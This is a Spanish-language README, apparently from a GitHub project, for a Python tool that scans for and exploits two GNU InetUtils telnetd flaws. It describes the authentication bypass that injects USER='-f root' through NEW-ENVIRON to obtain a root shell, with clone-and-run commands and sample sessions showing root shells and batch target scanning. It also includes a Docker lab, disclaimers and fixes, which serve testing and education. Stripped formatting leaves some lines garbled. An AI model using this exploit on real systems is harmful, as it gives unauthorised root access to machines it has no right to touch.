
escáner/explotador CVE-2026-24061 & CVE-2026-32746
Una herramienta de evaluación de seguridad basada en Python que detecta y (cuando corresponde) explota dos vulnerabilidades críticas en GNU InetUtils telnetd:
USER (CVSS 9.8)Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos.
El uso no autorizado contra sistemas que no posee o para los cuales no tiene permiso explícito para probar es ilegal. Los autores no asumen ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta. Úsela bajo su propio riesgo.

TELNET_SCAN_VERBOSE=1 para ver cada paquete IAC y la narrativa paso a paso de la explotacióngit clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py
python3 telnet_scanner.py
Pruebe el exploit contra un objetivo vulnerable conocido sin arriesgar sistemas reales:
cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Target: 127.0.0.1, Port: 2323
El laboratorio ejecuta un telnetd vulnerable de GNU InetUtils 2.5 en un contenedor aislado, vinculado solo a localhost. Sin exposición a la red.
Depure el handshake de telnet y vea exactamente lo que sucede en la red:
TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py
La salida verbose muestra:

1192.168.1.100 o example.com)23 si se deja vacío)1 – Ambas vulnerabilidades2 – Solo CVE-2026-24061 (bypass de autenticación)3 – Solo CVE-2026-32746 (desbordamiento de búfer)targets.txt:
192.168.1.100
192.168.1.101
10.0.0.50
example.com
# This is a comment line - ignored
223)Si CVE-2026-24061 tiene éxito:
id, whoami, ls)Ctrl+C para salir del shell y volver al menú del escánerNo se requiere terminal separada ni pasos adicionales.
El exploit sigue un handshake telnet preciso de 6 pasos para asegurar la compatibilidad con el telnetd real de GNU InetUtils:
DO inicialesTTYPE, TSPEED, XDISPLOC, NEW_ENVIRONUSER="-f root" mediante subnegociación NEW_ENVIRONDO/WILL para SGA, ECHO, LINEMODE, NAWSUn hilo keepalive envía IAC NOP cada 2 segundos para evitar que ttloop() de telnetd detecte EOF y llame a exit(1) antes de que se procese el payload.
El telnetd vulnerable pasa -f root a /usr/bin/login, omitiendo la autenticación y otorgando acceso inmediato al shell root.
LINEMODE (RFC 1184)=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 1
Port (default 23):
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
Target (IP or domain): 192.168.1.100
[*] Resolved 192.168.1.100 -> 192.168.1.100
[*] Scanning 192.168.1.100:23...
[*] Checking if service is reachable...
[+] Service reachable
[*] Testing CVE-2026-24061 (authentication bypass)...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
============================================================
[+] ROOT SHELL OBTAINED! You are now in an interactive root shell.
[+] Type commands directly here. Press Ctrl+C to exit shell.
============================================================
id
uid=0(root) gid=0(root) groups=0(root)
[STEP 1/6] Waiting for server negotiation (may take up to 15s)...
[STEP 1/6] Got 48 bytes: fffb18fffb20fffb23fffb27...
decoded: IAC DO TERMINAL-TYPE
decoded: IAC DO TERMINAL-SPEED
decoded: IAC DO X-DISPLAY-LOCATION
decoded: IAC DO NEW-ENVIRON
[STEP 2/6] Responding WILL to all DO options
[STEP 3/6] Waiting for SB SEND subnegotiation requests...
[STEP 4/6] Sending subnegotiation responses...
NEW-ENVIRON IS VAR USER VALUE "-f root" *** EXPLOIT ***
[STEP 5/6] Handling remaining option negotiations...
[STEP 5/6] Text received: 'root@vuln-lab:~# '
[RESULT] SUCCESS: Passwordless root login via USER="-f root" injection
=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 2
Port (default 23):
Enter filename with targets (one per line): targets.txt
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
[*] Loaded 3 targets from targets.txt
==================================================
[1/3] Scanning 192.168.1.100:23
==================================================
[*] Resolved 192.168.1.100 -> 192.168.1.100
[+] Service reachable
[*] Testing CVE-2026-24061...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
[?] Shell obtained! Interact now? (y/N): n
[*] Testing CVE-2026-32746...
[+] Server did not crash; likely not vulnerable
==================================================
[2/3] Scanning 192.168.1.101:23
==================================================
[-] Service not reachable on 192.168.1.101:23
==================================================
[3/3] Scanning example.com:23
==================================================
[*] Resolved example.com -> 93.184.216.34
[+] Service reachable
[*] Testing CVE-2026-24061...
[+] No response received; may still be vulnerable
[*] Testing CVE-2026-32746...
[!] CVE-2026-32746: VULNERABLE (server crashed)
============================================================
SCAN SUMMARY
============================================================
192.168.1.100: VULNERABLE to CVE-2026-24061
192.168.1.101: Service unreachable
example.com: VULNERABLE to CVE-2026-32746
============================================================
Si descubre sistemas vulnerables, aplique estas correcciones:
NEW_ENVIRON USER que comiencen con -fEl directorio lab/ incluido proporciona un entorno de prueba seguro y reproducible:
cd lab
docker compose up -d
# Wait ~10 seconds for telnetd to initialize
python3 ../telnet_scanner.py
# Target: 127.0.0.1, Port: 2323
Características del laboratorio:
labuser:labpass123) para depuraciónDetenga el laboratorio cuando haya terminado:
cd lab && docker compose down

Agradecimientos especiales a @leetcrypt – El handshake adecuado de 6 pasos, el hilo keepalive, el modo verbose y el laboratorio Docker ¡son una pasada!
DESCARGO DE RESPONSABILIDAD: solo para pruebas de seguridad autorizadas y fines educativos.
# root@$